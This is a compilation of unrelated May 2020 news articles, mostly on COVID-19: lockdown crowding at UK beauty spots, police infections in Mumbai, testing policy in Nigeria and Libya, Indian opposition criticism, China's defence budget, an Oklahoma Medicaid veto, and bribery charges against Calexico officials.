The allegation against Biden has put Democrats and Democratic-aligned groups that support victims of sexual misconduct in an uncomfortable position as Biden challenges Trump for the presidency.

Trump faces allegations of sexual harassment and assault himself and has been caught on tape bragging about grabbing women between their legs. Trump has denied those allegations.
Twelve police personnel from Mumbais Oshiwara police station tested coronavirus disease (Covid-19) positive on Friday.

A total of 762 Mumbai Police personnel have tested Covid-19 positive till Friday noon. SARS-CoV-2, which causes Covid-19, has claimed 10 policemens lives in Maharashtra.

Dayanand Bangar, a senior police inspector at Oshiwara police station, said 14 policemen have been put under home quarantine, as they were in touch with their 12 infected colleagues, including four officers and eight constables.

The police personnel are undergoing treatment at isolation centres at Andheri (East) and Worli. All of them belong to the police stations detection unit and were deployed for crowd control duties near containment zones and later for the repatriation of stranded migrant workers, Bangar added.
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Tempers boiled over at beauty spots across Britain today as locals clashed with vast hordes of tourists they say are blighting their parks and beaches since lockdown restrictions were eased ahead of the bank holiday weekend.

A father who tried to go for a walk in the picturesque Stoney Bank Quarry, Lancashire, was so horrified by piles of rubbish left behind by young revellers who held an illegal party he turned around and went home again.

James Bunting, 41, from Bolton, blasted the 'couldn't care less millennial attitude' of the 100 or so young people who went to the rave and inhaled 'hippy crack' in 80F temperatures on Wednesday afternoon.

Meanwhile a police chief in the Peak District warned day-trippers to stay away after the area was blighted by gridlocked traffic and lines of cars clogging the roads on the Staffordshire border with Derbyshire.

And in Torpoint, where Devon and Cornwall police have been stopping campers from staying overnight illegally at their beaches, a local jogger was filmed taking out his frustration on a visiting car by giving it several kicks.

It came as ministers fear the UK could go 'back to square one' in the fight against coronavirus if Britons do not adhere to lockdown rules as data suggests people have been flouting restrictions for weeks.

Experts sitting on Number 10's SAGE panel today revealed the crucial R-value - the average number of people that will contract COVID-19 from an infected person - was still between 0.7 and 1 for the second week in a row across the UK.

Health Secretary Matt Hancock last night pleaded with people to stick to current restrictions which prohibit meeting more than one person from outside your household outdoors.

But there are increasing signs that many have given up on lockdown measures, sparking growing fears of a potential second wave of the deadly disease.

New data published today suggests some people were bending the rules even before Boris Johnson set out his lockdown exit strategy on May 10.

This picture of a large gathering of young people soaking up the sun near Darwen on the hottest day of the year on was taken on Wednesday afternoon, in 80F temperatures

James Bunting visited Stoney Bank Quarry near Darwen, Lancashire, on Thursday morning for a walk but was so horrified by the state of the usually beautiful location that he was compelled to photograph it

A huge queue of cars spotted near the Peak District. Chief Inspector Mark Thorley has reiterated calls for people not to flock to the Staffordshire region this bank holiday weekend

A jogger was filmed on dash-cam footage during his run. He is seen repeatedly kicking a grey Mazda car by Tregantle Beach in Torpoint, Cornwall that was parked on a lane at the roadside

James Bunting (pictured, left, with his family) was horrified to find the rubbish (right) with included canisters used to inhale nitrous oxide

It comes as:

Nicola Sturgeon announced Scots could be able to have neighbours round for a BBQ and play tennis from next weekend;

Almost 24million people entered the UK with no coronavirus checks in the first three months of 2020;

NHS and care workers will finally get free coronavirus antibody tests after Number 10 agreed a deal with pharmaceutical giant Roche;

Drug-maker AstraZeneca revealed it has capacity to make 1billion doses of the Oxford University's experimental COVID-19 vaccine;

Health Secretary Matt Hancock suggested the government could make taking a vaccine compulsory in the future;

Coronavirus is still infecting 61,000 people every week in England but the outbreak is 'relatively stable', according to government surveillance figures;

Fewer than half of Brits aged 19 to 30 say they are still sticking to the government's lockdown rules to fight coronavirus, a major study revealed;

More than five million people have been infected with coronavirus worldwide, with Latin America now seeing the largest rise in cases each day

Beauty spots over the past few days have been overrun with visitors as people have gently eased themselves out of lockdown with beaches in Southend, Brighton and Bournemouth packed.

But their presence has caused friction with locals, councils and the police who are fed up with the crowds and the rubbish they leave behind.

In Lancashire, Mr Bunting was stunned with the litter he found after the outdoor party on Wednesday, fuming: 'There's obviously been a gap in education about taking something out with you and taking [litter] home. It's frustrating. There's a real lack of respect for the environment.

'It's abuse. I pick it up with my gloves on as much as I can. Fair enough, come up, enjoy it - but take your litter home. It's just ridiculous.'

He added that he feared not just for the landscape but that constant activity in the area would driver wildlife from their natural habitat.

'There were barbecues that had been lit up there that could cause moorland fires,' he said. 'The fires around there every summer are devastating. I put my wet-suit on and got all the bottles and cans out of the water too.'

Masses of cars parked near the Peak District. Meanwhile, in the Manifold Valley, a huge amount of litter and charred barbecues were left behind by visitors last weekend

Queues of parked cars near the Peak District, as the beauty spot becomes busier during the hot weather and plagued by piles of rubbish, ahead of the bank holiday weekend. Monday is forecast to see temperatures up to 79F (26C)

Pubs gear up for a takeaway booze bonanza Althorp pub in Wandsworth today Thirsty Britons will head to pubs tomorrow to enjoy takeaway drinks on what promises to be a boozy Bank Holiday weekend. Hundreds of landlords across the country are gearing up to open their bars, most of which have been mothballed during the coronavirus lockdown. The millions of sunseekers taking advantage of relaxed restrictions in the nation's parks and beaches have prompted a wave of pubs to reopen up for takeaways. Publicans will be eager to drum up business after suffering the brunt of the pandemic's economic fallout, while at the same time cautious of not wanting to accelerate the spread of infection. Visor-wearing barmen were pictured in London today maintaining strict social distancing as they carried foamy pints to 'collection points' where they were then carried away by customers. And the beer is set to flow even more tomorrow on the sunny Spring Bank Holiday where temperatures will hit 73F this weekend, before climbing to 78F on Monday. Advertisement

A shocking video shows an angry jogger kicking cars parked at a busy beach spot in Cornwall.

Pawel Pasich, who lives in Plymouth, was enjoying his first trip out of the city on Wednesday since the lockdown restrictions were eased when he captured the jogger on his dash-cam footage.

Mr Pasich, 39, said: 'This was the first-time we have been out, aside from shopping, as a family in two months and I was expecting a nice afternoon, but this ruined the whole day.'

He said he's not sure why the jogger targeted the two vehicles, but he thinks it might have been a local person angry with where they were parked.

In Northumberland the national park authority warned people to act responsibly after an 'unacceptable' surge in 'visitors gathering in groups, leaving litter and having barbecues'.

Yorkshire Water urged day trippers not to swim in its reservoirs despite the hot weather. It said: 'Reservoir temperatures rarely go above 12 degrees and there is no lifeguard around in case something goes wrong.'

And in Brighton, the number of people allowed on the beach is being restricted after a flood of visitors.

Brighton and Hove City Council said shops selling alcohol are enticing people to the seafront, causing 'nuisance, urination and littering issues'.

It has now taken the drastic step of restricting the numbers using the beach and has warned visitors that they must stay away.

In Southend, a painter who has been working on the pier for the last two weeks said he was left 'sickened' by the sight of hordes of visitors cramming along the seafront.

He said: 'I strongly believe that there will be a second wave with all these families on the beach and on the esplanade - its packed.'

The damage caused by the jogger to Pawel Pasich's vehicle. Mr Pasich, who lives in Plymouth, was enjoying his first trip out of the city on Wednesday since the lockdown restrictions were eased when he captured the jogger on his dash-cam footage

Holidaymakers who travelled 100 miles to sleep overnight in a giant gazebo on a beach in Sandbanks, Poole, Dorset, have been fined. The group of visitors from London flouted lockdown rules by camping on the sand at the exclusive resort

Piles of rubbish pictured at the beauty spot. A top cop says tourists are failing to heed warnings to stay away from the Peak District as the beauty spot becomes busier

Pictured: An overflowing wheelie bin on Worthing seafront is full of rubbish after a busy few days of people on the beach following the introduction of measures to bring the country out of lockdown

June Day, whose house backs onto a beach at Brean Down, Somerset, says lockdown day-trippers are urinating from the path into her garden and she has caught people pooing as well as nearby public toilets are closed

The Met Police has also warned Londoners they will be patrolling the capital city this weekend, reminding the public that group sport, outdoor barbecues and parties are still not permitted.

Deputy Assistant Commissioner Laurence Taylor, the Gold Commander, said: 'We do not wish to use means of enforcement, but where deemed necessary, officers will take action against those that disregard restrictions and enforcement will be sought as a very last resort.'

Meanwhile, photos show long lines of parked cars, piles of rubbish and burnt-out barbecues in parts of Derbyshire and Staffordshire after lockdown restrictions were eased.

Now Staffordshire Police's Chief Inspector Mark Thorley has reiterated calls for people not to cause unnecessary distress to the local community by flocking to the region this Bank Holiday weekend.

Londoners who travelled 100 miles to sleep overnight in a giant gazebo on Sandbanks have also been fined, after the group of visitors flouted lockdown rules by camping on the sand at the exclusive resort in Poole, Dorset.

Coronavirus concerns aren't the only thing that people hoping to enjoy the Bank Holiday weekend have to contend with as authorities urge travellers to steer clear of the coast due to dangerous 'Widow Maker' waves.

Waves up to 16ft high are being forecast this afternoon and tomorrow as authorities fear that having no lifeguards on duty will be a 'recipe for disaster.'

The name Widow Maker refers to the Cribbar reef off the Cornish coast and is responsible for huge waves annually near Newquay, attracting huge numbers of surfers.

The worst of the conditions are expected this afternoon and on Saturday along the north coast of Devon and Cornwall.

The RNLI, which would normally be two weeks into its main season, is not currently patrolling any beaches and is rolling out a vastly reduced lifeguard service 'in phases' from the end of the month.

'My concern is around what the wildlife would consume. [They could] even be driven out of their habits if it became a regular event.'

Waves crash against the West Pier in Brighton, East Sussex, today as a man watches from the sea wall on the beach

Bournemouth beach is pictured today amid fears that people will flock there this weekend as the Bank Holiday approaches

People enjoy the hot weather in River Lea in east London, as people flock to parks and beaches

But the charity has confirmed there will be no cover over the busy Bank Holiday weekend despite sun-seekers flocking back to the coast in recent days. The announcement has led to anger from lifeguards who fear the removal of life-saving services will have tragic consequences.

One Somerset resident, June Day, has accused lockdown day-trippers of urinating from the path into her garden, which backs onto a beach, and said she has even caught people pooing as nearby public toilets are closed.

Beaches in the village of Weybourne near Cromer, North Norfolk, have been left decimated with human waste and toilet paper, with the parish council saying fishermen have been staying overnight.

The Met Office is forecasting mild temperatures on Saturday and Sunday, with London at 73F (23C) and the western regions of England both north and south hovering around 68F (20C).

But on Monday London could hit highs of 78F (26C) with Manchester and Birmingham expected to enjoy temperatures of around 75F (24C) and Newcastle 72F (22C).

New data published today suggests some people were bending the rules even before Boris Johnson set out his lockdown exit strategy on May 10.

People are pictured on the beach in Bournemouth today ahead of improving temperatures set to hit Britain on the Bank Holiday

Pictured: A dog walker and her pet brave a massive sandstorm on Tynemouth Longsands beach in North Tyneside today

Swimmers are pictured enjoying the sea off the Bournemouth coast today as authorities elsewhere fear huge waves today and tomorrow

Pictured: A view of a near empty beach in Greatstone, Kent, as the hot weather cools ahead of the bank holiday weekend following scenes of people flocking to parks and beaches

Google footfall data showed the number of people visiting parks was above pre-lockdown levels in the days leading up to the Prime Minister's address to the nation.

Meanwhile, the Office for National Statistics today revealed almost one in five adults are meeting up with friends or family from outside their household.

Steve Instance, RNLI lead for Water Safety in the south west, said: 'This swell forecast is very worrying for north coast of Devon and Cornwall. A normal morning surf will build to over 15 feet in a couple of hours.

'Combined with incoming spring tide and no lifeguards, this could be a recipe for disaster. Keep out of the water on Friday afternoon please.'

And on ITV's This Morning today, one caller reported that tourists have been defecating in residential areas due to public toilets being closed.

Host Holly Willoughby was horrified at the revelation, saying to her viewers: 'Oh my god, don't! Just don't do that.'

Health Secretary Matt Hancock last night spoke of a path out of lockdown for some via certificates for people who already have coronavirus antibodies.

At the Downing Street briefing, he stressed that the science of whether people develop immunity, and how long it lasts, was still emerging.

A tree is pictured having fallen in the street in Middlesbrough today as heavy winds sweep the north of England ahead of the Bank Holiday

Pictured: Data from TomTom shows the amount of congestion in the top 10 busiest traffic zones in the UK, with the rises on last week's congestion shown in red boxes on the right

The Health Secretary told yesterday's briefing: 'We're developing this critical science to know the impact of a positive antibody test and to develop the systems of certification to ensure people who have positive antibodies can be given assurances of what they can safely do'

WHY IS ANTIBODY TESTING IMPORTANT? WHAT IS AN ANTIBODY TEST? Unlike tests to diagnose diseases, antibody tests show who has been infected and recovered. The body makes antibodies in response to many illnesses and infections, including other coronaviruses. New blood tests are being developed to identify antibodies unique to SARS-CoV-2, the official name of the new coronavirus. The tests look for two kinds of antibodies: immunoglobulin M (IgM) and G (IgG). The body quickly produces IgM antibodies for its initial attack against infections. It makes IgG antibodies more slowly and retains them longer; IgG antibodies suggest possible immunity. HOW CAN ANTIBODY TESTS HELP END LOCKDOWNS? Antibody tests can help calculate what portion of the population has already been infected, as well as whether infections were mild or severe. Governments and companies could use antibody tests to determine who would most likely be safe to return to work and public interactions, and whether it is safe to lift stay-at-home orders all at once in some regions or in stages based on infection risk. People with negative antibody tests or very low antibody levels would likely have higher risk of infection than people with high antibody levels. DO ANTIBODIES TO THE NEW CORONAVIRUS CONFER IMMUNITY? While antibodies to many infectious diseases typically confer some level of immunity, whether that is the case with this unique coronavirus is not yet known. And how strong immunity might be, or how long it might last in people previously infected, is not clear. With some diseases like measles the immunity can be lifelong. With others, immunity can wane over time. Scientists cannot know with certainty that reinfection is not possible until further research. Antibody tests could inform not just lockdown exits, but the best approach to treatments and vaccines. Advertisement

However, he confirmed that ministers are already looking at a 'system of certification' that would signify people who are safe to go back to work and mix freely with others.

The prospect has already raised concerns about the social impact - with the government's own experts warning that those who are not immune could be shunned and desperate individuals might deliberately try to get infected.

Mr Hancock said: 'We're developing this critical science to know the impact of a positive antibody test and to develop the systems of certification to ensure people who have positive antibodies can be given assurances of what they can safely do.'

He added: 'We're not yet in a position to say that those who test positive in these antibody tests are immune from coronavirus.

'But as our understanding of the disease improves, the insight these antibody tests provide will be crucial.'

On the Government's 'test, track and trace' programme, Mr Hancock sought to play down the importance of the delayed app. However, experts believe the app is an integral part of the programme and that without it the UK could struggle to get back to normal life.

He had originally said the app would be rolled out by mid-May but it has now been delayed by several weeks.

The Government is aiming for 25,000 human contact tracers to be in place for June 1 - the earliest date for opening schools and non-essential shops in England.

Mr Hancock said trials of the app in the Isle of Wight had shown the human contact tracing elements were also important so people can understand the consequences of what is required if they have been near someone with coronavirus.

Professor John Newton, of Public Health England, said there could be advantages in doing the contact tracing process without the app initially.

Meanwhile, youths in Stoke-on-Trent have been seen flouting social distancing guidelines.

In the Manifold Valley a huge amount of litter and charred barbecues were left behind by visitors last weekend.

And in Butterton, one of the gateways to the Manifold Valley, families were seen using a play area by village hall and having picnics on the benches.

Maggie Risby, clerk of Butterton Parish Council, said: 'Things went absolutely mad here in the Moorlands last weekend.

'It was horrendous. We had an influx of visitors at the play area at Butterton Village Hall.

'The equipment is not sanitised. We have now had to put up notices and padlock the gates.

'People in the village have tried so hard to abide by the rules, but people coming in and using the equipment could pass on the virus and ruin everything.

'Two parishioners did a litter pick in the Manifold Valley where lots of litter was left. Cars were parked along the Manifold Valley near Thor's Cave.

'Emergency vehicles couldn't get through in some places because of badly parked cars. Dovedale was also horrendous.'

They issued their warnings as Britain prepares for temperatures of up to 75F (20C) on Bank Holiday Monday after people were pictured across the country taking advantage of this year's hottest temperatures so far.

Fearful drivers are planning fewer than 10 million separate journeys by car - half the number compared to this time last year. It marks the lowest number since the RAC motoring group started tracking trips.

A group of people bask in the sunshine in London Fields, East London, yesterday as temperatures continued to soar

Visitors descended upon Durdle Door in Dorset yesterday despite the social distancing measures still in place

Two thirds of respondents to a poll of 1,500 motorists, said they planned to stay at home this weekend amid fears of overcrowding at beauty spots. They also cited the closure of the vast majority of attractions and amenities.

It came as official figures showed a 2.1 per cent drop in traffic in the year to March - the largest drop since quarterly records began in 1994.

Yesterday in the coastal town of Woolacombe in Devon, traffic wardens issued more than 70 tickets as all car parks were shut to keep away visitors.

Local councillor Andrea Davis warned people to stay away: 'Please note the car parks in Woolacombe are NOT open, the loos not open, the cafes not open,' she said. 'Please consider all these facts before visiting. Yesterday there was chaos.'

Her warnings were echoed by Duncan Dunbar, a 33-year-old highway worker from Wadebridge, Cornwall, who urged visitors to wait until after all lockdown measures are lifted: 'We only have one hospital here and it's small and struggles at the best of times,' he said. 'I'm worried about what will happen if there's an outbreak.'

People frolic in the water as they enjoy the sunshine in a park in east London today as temperatures soar across the country

People enjoy the sunshine in a park in East London today. A major study has found less than half of 19 to 30-year-olds are 'strictly' abiding by Britain's lockdown rules

Steve Double, the Tory MP for St Austell and Newquay, said that day-trippers from outside of Cornwall should not be coming to the county.

Speaking to MailOnline, Mr Double said: 'We are concerned about the next week as people come to places like Cornwall and abuse the new rules by sleeping over. The restrictions are clear that while people free to travel for day trips they are not permitted to sleep in camper vans or in tents overnight. We want to be able to welcome people a bit later in the year but we can only do that if we get on top of this virus. Do not come to Cornwall at this time.'

A major study has also found less than half of 19 to 30-year-olds are 'strictly' abiding by Britain's lockdown rules, while among adults the figure has dropped from 70 per cent to under 60 per cent in the last fortnight.

The MP for Rochford and Southend East and two of Britain's rail operators warned day-trippers to avoid Southend this Bank Holiday weekend.

Tory MP James Duddridge said: 'In usual times we would be welcoming visitors with open arms, but we must put the nation's health first and avoid a second peak.

'We owe it to our key workers working over the Bank Holiday weekend to keep public transport free so they can maintain social distancing and get around safely.

'So if you are considering getting on a bus or train to visit Southend, please ask yourself: 'Is this journey really necessary?''

Jamie Burles, Greater Anglia's Managing Director, said: 'While it may be tempting to visit some of the great destinations on our network, government advice is to avoid public transport unless it's absolutely essential, to help us keep our trains and stations safe for those who have to use them, such as key workers.

'Anyone who does need to make an essential journey should follow government advice and use a face covering.'

Julian Drury, c2c Managing Director, said: 'Even though we're running our full timetable, social distancing means that capacity on our trains remains extremely limited.

'Our staff are working hard to provide a service for people making essential journeys to work, including weekend workers. We cannot be more clear: please do not use c2c for leisure journeys at this time.'

Cornwall council told day-trippers 'it is not business as usual' and added: 'The pubs are not open, there's nowhere to stay, go away'.

On Wednesday visitors were seen camped out in Brighton and at various beauty spots in Devon and Cornwall, with locals blasting 'selfish' revellers for partying into the night and leaving rubbish strewn across roads and open spaces.

Visitors enjoy the sunny weather in Tynemouth yesterday during the hottest day of the year so far. People in England are allowed to exercise and visit beaches as long as they are socially distanced

A group of men sip on beers in Bournemouth yesterday, amid fears large crowds gathering a beauty spots could spark a second wave of infections

Meanwhile, police in Newquay carried out 'dawn raids' on campervans to order those inside to go home, as closed car parks led to gridlock on the roads.

Scenes of beaches in Brighton, Bournemouth and Durdle Door in Dorset packed with sunseekers enjoying temperatures of up to 82F sparked a backlash, with one man saying: 'It's madness, it's like everyone's forgotten about coronavirus.'

Richard Walden, 55, of Woolacombe, Devon, took a picture from his house showing gridlocked traffic snaking back as far as the eye could see.

'Unbelievably selfish people started arriving at 5am and last night we had vans outside our house until 11pm. They are not just casual visitors.'
SB 1046 would have raised to the maximum 4% the Supplemental Hospital Payment Program fee, better known as SHOPP. The fee is paid by hospitals to create a matching fund for federal Medicaid dollars.

Some hospitals objected to SB 1046 because it did not explicitly rule out a managed care system for Medicaid, and because not all hospitals pay into the SHOPP fund.

Stitts veto means SoonerCare 2.0 likely cannot be implemented even if the states application to the Center for Medicare and Medicaid Services is approved.

Fridays actions likely end the Legislatures activities for this session but it left open the possibility of reconvening before the statutory deadline for final adjournment next Friday.

Because of the COVID-19 pandemic the Legislature has met just 37 days this session, which is thought to be a record low. It recessed last Friday with the understanding it would not return except for veto override votes.

All sessions are unique for a variety of reasons, but no one could have expected the events that unfolded during the 2020 session, said President Pro Tem Greg Treat.
U.S. President Donald Trump said that the G7 summit most likely will be held at the White House.

Speaking to reporters before heading on a trip to Michigan, Trump said the meeting will be "probably at the White House and maybe a little bit at Camp David, but primarily at the White House," Fox News reported.



Trump on Wednesday first tweeted that he was considering rescheduling the June G7 summit - which was initially canceled amid the coronavirus crisis - on or around the same time as initially planned.



Now that our Country is Transitioning back to Greatness, I am considering rescheduling the G-7, on the same or similar date, in Washington, D.C., at the legendary Camp David, Trump tweeted. The other members are also beginning their COMEBACK. It would be a great sign to all - normalization!



The White House announced in March that, due to the coronavirus pandemic, the June meeting of the seven major industrial nations - Britain, Canada, France, Germany, Italy, and Japan along with the U.S. - would be held by video conference instead of at Camp David, the presidential retreat in the mountains of rural Maryland.
The number of tests conducted on persons infected with coronavirus (COVID-19), before they are certified to have recovered from the dise...

The number of tests conducted on persons infected with coronavirus (COVID-19), before they are certified to have recovered from the disease, has been reduced to one.





The Director-General of the Nigeria Centre for Disease Control (NCDC), Dr Chikwe Ihekweazu, disclosed this to Channels Television on Thursday.





Ihekweazu said recovered COVID-19 patients are now discharged from the isolation centres after their first negative test.

He said the decision was taken due to challenges of bed space capacity in the countrys isolation centres.





He said: So, the discharge criterion at the moment is a single negative test in Nigeria.





We used to do two negative tests  48 hours apart  but because of challenges of bed space capacity, we reduced that to a single negative test then discharge the patient to another one week of home isolation  thats the policy at the moment.
Source: Xinhua| 2020-05-22 13:52:48|Editor: huaxia

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TRIPOLI, May 22 (Xinhua) -- Libya's National Center for Disease Control on Thursday reported two new confirmed COVID-19 cases, bringing the country's total tally to 71.

The center said in a statement that it received 326 suspected samples, two of which tested positive for the novel coronavirus, and that the two infections are people who recently returned from abroad.

There have so far been 35 recoveries and three deaths out of the confirmed cases in Libya, according to the center.

Recently, the education ministry announced that schools nationwide will reopen in mid-June, after nearly three months of closure as a precautionary measure against the virus' spread.

Libya has taken measures including banning public gatherings, imposing curfews, and closing borders to contain the COVID-19 pandemic. Enditem
New Delhi: Congress president Sonia Gandhi came down heavily on the government over the Covid-19 situation in the country on Friday and alleged that it has abandoned any pretence of being democratic and forgotten the spirit of federalism.

Addressing a meeting of 22 opposition parties convened through video-conferencing to discuss the situation arising out of the coronavirus pandemic, she alleged that the government is uncertain about the criteria for enforcing lockdowns and has no exit strategy from it.

Gandhi said the government has "cruelly ignored" scores of migrant workers and the 13 crore families in the bottom half of the population as no financial relief has been provided to them.

"The prime minister's announcement of a grand Rs 20 lakh crore package on May 12 and the finance minister spelling out its details over the next five days have turned out to be a cruel joke on the country," she said.

The Congress chief said there is no indication either as regards whether Parliament or its standing committees will be summoned to meet to discuss the situation.

"The government has abandoned any pretence of being democratic and all power is now concentrated in only one office -- the PMO," she said.

Gandhi also accused the government of functioning unilaterally, saying there is no pretence of any consultation with the stakeholders or debate in Parliament.

Alleging that the government has embarked on a "wild adventure" of so-called reforms, including "a grand clearance sale of PSUs" and repeal of labour laws, she said, "We deplore these unilateral moves."

Gandhi pointed out that a number of renowned economists have predicted that 2020-21 will end with a negative growth of up to minus 5 per cent for the country and its "consequences will be catastrophic".

"That the present government has no solutions is worrying, but that it has no empathy or compassion for the poor and vulnerable is heartbreaking," she noted.

"The spirit of federalism, which is an integral part of our Constitution, is all but forgotten. There is no indication either if the two Houses of Parliament or the standing committees will be summoned to meet," she said.

The Congress chief said it is the duty of the opposition to offer constructive criticism and suggestions, and be the voice of the people. "It is in that spirit that this meeting has been convened," she said, requesting the opposition leaders to come forth with their considered views.

Gandhi said many like-minded parties had demanded transfer of cash to the poor and free distribution of foodgrains to all, besides arranging buses and trains for migrant workers to go back to their homes. "But our pleas have fallen on deaf ears," she said.

Gandhi said the economic downturn began in 2017-18, when the seven quarters of declining GDP growth was unprecedented. Yet, the government carried on with its "misguided policies and incompetent governance", she rued.

The Congress chief said the initial optimism of the prime minister that the war against the coronavirus would conclude in 21 days has turned out to be misplaced and it seems that the virus is here to stay until a vaccine is found.

"I am also of the view that the government is uncertain about the criteria for lockdowns, nor does it have an exit strategy. The successive lockdowns have yielded diminishing returns. The government also stumbled badly on the testing strategy and import of test kits.

"Meanwhile, the pandemic continues to take its toll. The economy has been gravely crippled. Every economist of repute had pointed towards an immediate need for a massive fiscal stimulus," she said.

The leaders of 22 opposition parties, including West Bengal Chief Minister and TMC supremo Mamata Banerjee, Maharashtra Chief Minister and Shiv Sena chief Uddhav Thackeray, Jharkhand Chief Minister and JMM leader Hemant Soren, NCP supremo Sharad Pawar, DMK leader M K Stalin and JD(S) leader HD Deve Gowda, besides CPI-M's Sitaram Yechury and CPI's D Raja participated in the meeting.

Congress leaders Rahul Gandhi, AK Antony, Ahmed Patel, Ghulam Nabi Azad, Adhir Ranjan Chowdhury and Mallikarjun Kharge were also present.

Leaders of some other regional parties such as Sharad Yadav (LJD), Omar Abdullah (NC), Tejashwi Yadav (RJD), Jitan Ram Manjhi (HAM), Upendra Kushwaha (RLSP), Jose K Mani (KC-M), Badruddin Ajmal (AIUDF), Jayant Chaudhary (RLD) and Raju Shetti (Swabhimani Paksha) also participated.
China's defense budget stays moderate and restrained: NPC spokesperson

Global Times

By Guo Yuandan Source:Global Times Published: 2020/5/22 0:42:32

China pursues defensive policies and the defense budget is moderate and restrained in regards to the total amount of the budget, per capita spending and the rate of GDP, Zhang Yesui, spokesperson for the 13th National People's Congress (NPC) told a press conference on Thursday.

Zhang made the remarks in response to a Japanese reporter's question on whether China's defense budget will decrease considering the influence stemming from the COVID-19 epidemic.

Zhang said that China's defense budget has stayed at around 1.3 percent of its GDP, which is far below the average global level of 2.6 percent. Compared to the country with the most military spending, China's defense budget in 2019 only accounted for one quarter of that.



Since 2016, the increasing rate of China's defense budget has kept decreasing to single digits and the growing rate has stayed at around 7 percent to 8 percent. From 2016 to 2019, the growth rate of the defense budget was 7.6 percent, 7 percent, 8.1 percent and 7.5 percent respectively. Experts reached by the Global Times said that this year's defense budget will keep rising at a slow rate.

According to a white paper released by the Information Office of the State Council in July 2019, China makes the scale and structure of its defense budget in accordance with a developing country's development level and defense needs, and manages and uses the money in accordance with laws. "The defense expenditure/GDP ratio has been keeping steady, growing synchronized and coordinated with national finance expenses."

An observer, who requested anonymity, told the Global Times that the COVID-19 epidemic definitely has had influence on the economy and the index for economic and social development will be adjusted. Under such circumstances, it's impossible the defense budget will experience an obvious increase.



Liu Zhengshan, an expert from an urban development research center, told the Global Times on Thursday that the increase rate of this year's defense budget will maintain a decreasing trend. "The year of 2020 is the year to work on poverty alleviation and the building of an overall well-off society. The country's main focus for national development would be directed to people's livelihoods."

Considering the impact of the epidemic, China would pay more attention to issues regarding people's livelihoods. It fits the trend to decrease the defense budget growth rate, according to Liu.

The anonymous observer said that there will be no sharp decrease in this year's defense budget. A slight increase or decrease would be seen as maintaining last year's level. "Currently, China has been faced with many security threats and challenges. Pro-independence forces in Taiwan keep making separatist remarks and moves; some foreign politicians have lost rationality, which makes it hard to predict future policies. All these need China to have enough defensive strength to safeguard national sovereignty, integrity and security."

According to an analytical report on the defense budget by Essence Securities on Wednesday, the defense budget growth rate for 2020 will be at 6.8 to 7 percent.

"Under a background in which tension in the region has become a new normal, the development of military equipment is expected to accelerate, and the expenditure on weaponry and equipment could maintain a share of more than 40 percent," the report reads. China's defense expenditure is categorized by application, namely personnel expenses, training maintenance fees and equipment spending.

Song Zhongping, a military expert, said on Thursday that since China's military spending is far less than it actually needs, the international standards and the national strategic needs, a moderate increase of the defense budget fits the needs of economic development.

He thought that by going with the rate of economic development, the increase rate of the defense budget in 2020 may be around 5 percent.

Liu said that compared with government investment expenses in some industrial fields, national defense funding has a relatively lower pull effect on economic growth. According to international experience or economic theories, military expenditure should not make up too much of a share, or a crowding-out effect could take place and result in negative impacts on economic growth.

"But compared to developed countries like the US, China's defense expenditure/GDP ratio is not high enough, and defense expenditure will yield positive impact to economic growth," Liu said.

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Imperial Valley News Center

Calexico City Officials Charged With Corruption

Calexico, California - Calexico City Councilman and Mayor Pro Tem David Romero, along with Bruno Suarez-Soto, a commissioner on the citys Economic Development and Financial Advisory Commission, were charged in federal court today with accepting cash bribes in exchange for promises of official action by the city.

The defendants were arraigned today via video teleconference before U.S. Magistrate Judge Bernard G. Skomal. They were released on $10,000 personal appearance bonds secured by their own signatures. The next court date is July 2, 2020 at 10:30 a.m. before U.S. District Judge Cathy Ann Bencivengo.

According to a charging document, Romero and Soto accepted $35,000 in cash bribes from an undercover FBI agent who they believed represented investors seeking to open a cannabis dispensary in Calexico. In return, Romero and Soto guaranteed the rapid issuance of a city permit for the dispensary, and to revoke or hinder other applicants if necessary to ensure that the bribe payers application was successful. Moreover, both men admitted they had taken bribes from others in the past, according to the charging document. Referring to this $35,000 payment, it is alleged they told the undercover agent, This isnt our first rodeo.

In addition to being a Councilman, Romero serves as Calexicos Mayor Pro Tem, meaning he was set to become Mayor in July 2020. Soto was recently appointed to the City commission responsible for promoting business and community growth and coordinating with prospective developers to help them invest in the City of Calexico.

Public officials must act with honesty and integrity when doing the publics business, said U.S. Attorney Robert Brewer. If civic leaders wont uphold these standards, we will. We allege that these defendants traded on their positions of trust, selling the integrity of government in exchange for thousands of dollars. We will vigorously enforce the law whenever a public official puts his own greed ahead of the interests of his constituents.

Public corruption remains the FBI's top criminal priority. As such, the FBI in San Diego and Imperial County has a robust public corruption program that is dedicated to uncovering criminal conduct of public officials, said Acting FBI SAC Omer Meisel. The investigation of Mr. Romero and Mr. Suarez-Soto serves as another example of the FBI's commitment toward accountability for those serving the public and holding positions of trust.

The charges allege that during a December 19, 2019 meeting at a restaurant in Calexico with the undercover FBI agent, Romero and Soto agreed to fast-track the agents purported application for a cannabis dispensary permit and guaranteed its rapid issuance in exchange for a $35,000 bribe. The defendants also offered to delay permit applications by competitors, court records said.

The charging document further alleges that toward the conclusion of the December 19, 2019 meeting, when the undercover agent asked if Romero and Soto might later ask for more than the $35,000 payment, Romero assured him that they would not. This is done. Set and sealed, Romero allegedly said. Romero explained that he and Soto would require the money to be paid up front, however, because they had done similar work for other people, and those people had not paid the agreed-upon fee after the favors had been rendered. Soto later added, This isnt our first rodeo. Romero and Soto agreed to accept payment of the $35,000 from the agent in two installments, however: half up front, and half when its a for sure thing.

According to court filings, at this meeting the undercover agent asked whether the payment of $35,000 would get us in front of the line of applicants. Soto answered, Hell yeah. Romero added that he didnt want to say it in front of everybody, but it will.

On January 9, 2020, Romero and Soto attended a second meeting with the undercover agent at a restaurant in El Centro, California. During the meeting, according to court records, Romero reminded the undercover agent how difficult it was to work with the City of Calexico, and how fortunate it was that the agent was working with Romero. Soto later added that in return for the bribe, Romero would cut through so much bullshit [red] tape that exists with the City.

During a discussion of the approval process for the permit application referenced in court records, Romero explained that the people who have to approve the undercover agents license were my best friends at the entire City Hall. When asked if the best friends had already signed off on the plan, Romero responded F*&k, yeah! and laughed.

Court filings reveal that at the conclusion of the January 9, 2020 meeting, in the parking lot outside the restaurant, with Romero looking on, the undercover agent handed Soto $17,500 in cash and explained that he divided the first installment of the bribe into two envelopes: one with $8,800 and another with $8,700. The agent asked whether were good, and Romero responded, Trust me and added, In my line of business, I cant fuck up. Which means he [Soto] cant f*&k up.

